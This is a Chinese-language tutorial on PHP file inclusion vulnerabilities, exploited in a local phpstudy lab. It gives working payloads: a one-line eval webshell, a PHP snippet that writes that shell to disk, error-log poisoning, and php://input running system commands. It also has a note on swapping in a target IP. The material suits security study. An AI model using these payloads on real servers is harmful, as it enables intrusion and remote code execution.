文件包含漏洞
1.什么是文件包含漏洞?
文件包含漏洞:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件。
出现原因:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无须再次编写,这种调用文件的过程称为包含。
2.PHP文件包含的几个函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
Require和include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
3.文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含。
4.本地包含:
案例:
1.编写一个php文件与一个txt文件
把他们同时放在一个文件下,这里以 phpstudy为例 放在WWW/下
2.打开浏览器,进行本地包含测试
3.包含成功,显示(2.txt)中文件。接下来扩展可以上传一句话木马。那shell权限。
4.包含一个百度:
5.目标机器本地包含:
5.远程包含
案例:
1.能访问目标主机
2.对面开启远程包含:
phpstudy 为例: 其他选项菜单->PHP扩展及设置->参数开关设置->allow_url_include(在最下面)
6.利用错误日志获取shell
phpstudy 为例:当访问错误时会被存放到错误日志当中,借助错误日志插入一句话木马。
phpstudy 日志位置:/phpstudy/apache/logs/error.log
利用burp 抓包修改错误信息:
修改之后在错误日志中可以看到,或者使用文件包含查看
然后使用菜刀连接即可。
以下实验均是使用phpstudy为例,有文件包含漏洞为前提。
7.使用包含漏洞直接向对方写一个shell
(1).在自己网站目录下写一个php文件,内容如下:
<?php
fputs(fopen('shell1.php','w'),'<?php eval($_POST[1]);?>');
?>
fputs函数 :fputs() 函数将内容写入一个打开的文件中。(可安全用于二进制文件)。如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。
fopen 函数:当使用 fopen() 函数打开一个文件时,如果文件不存在,则会尝试创建该文件,并返回一个资源。
'w' :: 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
<?php eval($_POST[1]);?> :为一句话木马,使用POST方法,[1]为参数,用于菜刀连接的密码也是。
(2).因为有文件包含漏洞,可以把这样一个文件直接写入进去。
(3).如上图所示,使用包含漏洞把本地的一个文件写入进去了。接下来测试能否访问
把phpinfo页面显示 赋值给参数1,可发现可以访问。接下来就可以直接菜刀获取shell。
注释:个人实验证明,对目标主机采用时,需要把最开始的10.3.0.24换成目标ip,不过需要目标主机目录下存放一个上述的php文件,然后才可以本地调用。
8.使用文件包含漏洞直接读取文件内容
案例:
代码:127.0.0.1:8024/1.php?page=php://filter/read=convert.base64-encode/resource=1.php
resource=<要过滤的数据流> :指定了你要筛选过滤的数据流
read = <读链的筛选列表> : 可以设定一个或多个过滤名称,以管道符 | 分隔
使用base64去访问文件内容。使用base64解码即可。可看我python中的加密解密那个博客哦。
为啥要用base64:
base64此编码方式可以让中文字或者图片也能在网路上顺利传输。在 BASE64 编码后的字串只包含英文字母大小写、阿拉伯数字、加号与反斜线,共 64 个基本字元,不包含其它特殊的字元,因而才取名 BASE64。编码后的字串比原来的字串 长度再加 1/3 左右。 此外应该还有一个 ROT 13 可以使用。
9.使用文件包含漏洞直接使用系统命令
案例:
代码:127.0.0.1:8024/1.php?page=php://input <?php system('ipconfig')?> 注释:使用POST方法
因为可以使用系统命令,所有就可以使用系统命令在本地创建一个shell文件,然后使用菜刀去连接。
代码:127.0.0.1:8024/1.php?page=php://input 使用POST方法
<?php
fputs(fopen('shell1.php','w'),'<?php eval($_POST[1]);?>');
?>
10.使用文件包含漏洞直接查看文件内容
案例:
代码:127.0.0.1:8024/1.php?page=file://D:/phpstudy/www/2.txt (D:/phpstudy/www/2.txt )文件路径